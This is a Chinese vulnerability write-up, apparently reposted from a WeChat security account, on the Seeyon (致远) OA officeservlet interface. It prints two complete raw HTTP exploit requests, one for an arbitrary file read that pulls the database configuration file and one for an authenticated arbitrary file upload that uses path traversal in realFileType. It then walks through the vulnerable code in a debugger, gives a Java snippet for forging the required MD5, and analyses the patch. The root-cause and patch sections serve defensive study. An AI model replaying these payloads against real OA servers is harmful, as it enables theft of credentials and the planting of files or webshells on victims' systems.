致远OA漏洞分析
officeservlet接口任意文件上传漏洞
漏洞背景
该漏洞于2021年出的补丁,但是漏洞存在时间已经很久了。差不多2019年就已经有人在用,只是处于0day或1day状态。
影响版本
•致远OA A8-V5 V6.1 SP1
•致远OA A8+协同管理软件 V7.0
•致远OA A8+协同管理软件 V7.0 SP1
•致远OA A8+协同管理软件 V7.0 SP2
•致远OA A8+协同管理软件 V7.0 SP3
•致远OA A8+协同管理软件 V7.1
漏洞点
/seeyon/officeservlet
如返回
DBSTEP V3.0
或者页面一片空白
或者需要登录后访问,出现空白页面也代表接口存在
注意:未授权的情况下,访问是404,但登录后访问是一片空白,代表存在接口。
漏洞EXP
任意文件读取漏洞
POST /seeyon/officeservlet HTTP/1.1Accept: */*Content-Type: text/plainContent-Length: 481Host: 192.168.91.13Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_231)Accept-Encoding: gzip,deflateDBSTEP V3.033500DBSTEP=OKMLlKlVOPTION=LKDxOWOWLlxwVlOWTEMPLATE=qfuvqfuveRWiyBDUcATRqAOJN1WicElXeAl4Nrg5drMvd1lXN1QQds66COMMAND=BSTLOlMSOCQwOV66affairMemberId=123affairMemberName=123EXTPARAM=zLCiPLVszLwuziwiwLSGwUCuz=66RECORDID=qLwswidTwLdhP4eXwU=Xw4e3ziV6FILENAME=qLwswidTwLdhP4eXwU=Xw4e3ziOCcAw6FILETYPE=qROves66USERNAME=Tu/qTq2O/cRFCREATEDATE=wUgXwB3szB3XzXghw4tGw4tswV66CATEGORY=wV66needReadFile=NrMGyV66
返回如图,读取的文件是数据库配置文件。
注意:正常情况,该接口无需登录,但是也可以给一个登录后的COOKIE进行尝试。
任意文件上传漏洞
需要登录后的一个COOKIE值
POST /seeyon/officeservlet HTTP/1.1Host: 192.168.174.180User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:49.0) Gecko/20100101 Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-serializationCookie: JSESSIONID=C9C39B540D2C2F6171ED83E4992D0123; loginPageURL=;X-Forwarded-For: 127.0.0.1Connection: keep-aliveContent-Length: 316DBSTEP V3.0235015OPTION=S3WYOlxKO=66DBSTEP=lKlLlg66realFileType=qXu5qAzJd785qf85qf85qfDxd1WUn1l9yaOid1lQy7DEyYMJdrxiqEzQyaQvcfDtyYhsqEOQdEV5NrJ3RECORDID=zLdGziKXzg66CREATEDATE=wUghP73uP73uPg66MD5=w4Suy4lCyRMCyUWCw1WfeRVuz4wTwAeuw1eTzAV3wRV6testHelloleader
如成功利用可以通过判断文件是否存在,或者DBSTEP等字样进行判断。
漏洞分析
任意文件读取漏洞
这个洞的作用还是很大,可以读取服务器上的任意文件。
具体的Option方法是:LOADTEMPLATE
在发送EXP我们在Officeservlet类的第56行下断点。
进入handWriteManager.taoHong(msgObj);方法里面去看下。
第814行,接收我们EXP中传输的TEMPLATE值。
第815行,接收我们EXP中传输的COMMAND值。
第816行,如果我们传输的COMMAND值为INSERTFILE则进入下面的操作。
重点在第822行,有一个msgObj.MsgFileLoad(officePath)的操作,该操作从方法名我们就可以看出来,是一个加载文件的方法。给定的参数是我们传输的TEMPLATE。
利用夸目录的路径,去读取datasourceCtp.properties数据库配置文件。
如果读取成功了的话,就会利用handWriteManager.sendPackage(response, msgObj);输出。
任意文件上传漏洞
其实这个洞跟htmlofficeservlet这个接口漏洞原理是相同的,只不过officeservlet能getshell的版本比较有限,不是通杀所有版本。
我们在Officeservlet类中的156行可以看到有一个SAVEPDF的option操作。
并且在第163行进行了handWriteManager.saveFile();的操作。
传递值为:msgObj, createDate, fileId, needClone, originalCreateDate, originalFileId
msgObj是我上一篇遇到过的,其他的也类似,都是我们EXP传输的一些必要值。
直接从第163行点Command加单击跟进方法。
来到了com/seeyon/ctp/common/office/HandWriteManagerImpl.class类中的saveFile方法。
代码很长,我们重点关注一下保存文件的操作。在第698行进行了,msgObj.MsgFileSave
可以清晰的看到,保存路径是进行拼接的,并且realFileType是我们EXP中进行传输的值。
所以就造成了任意文件上传,当然这里也需要进行跨目录的操作。
我们用IDEA来动态调试着看一遍。
在第157行下断点。
发送EXP后,停在了第157行。判断Option的值是否为SAVEPDF
F8步过到第163行,F7进入,我们只需要看handWriteManager.saveFile里面的操作。
F8一步步走一下,看看变量区里面的值。
此时的realFileType的值是:
/../cap/../../../ApacheJetspeed/webapps/seeyon/help/test.txt
第691行对文件MD5有个判断,这个md5是通过金格组件自己的一个算法。
获取传输内容的MD5值的方法
可以直接可以使用金格组件来帮我们生成一个。
import DBstep.iMsgServer2000;obj.MsgFileLoad("/Users/leader/Desktop/test.txt");String md5 = MD5Util.getBodyMD5(obj.MsgFileBody());
MD5值校验通过的话,就会来到第698行,进行保存文件的操作。
我们注意看下变量区的tempFilePath和realFileType值。
tempFilePath = "E:SeeyonA8basetemporary4792311534679051201"
realFileType = "/../cap/../../../ApacheJetspeed/webapps/seeyon/help/test.txt"
realFileType值是我们自己可以控制的,没有严格的校验这个值的话,就会造成目录穿越。
最终文件会保存成功。
补丁分析
补丁下载地址:
https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=87
可以看到,对realFileType和保存最终文件的路径进行了判断。
原文始发于微信公众号(渝安服):致远officeservlet漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论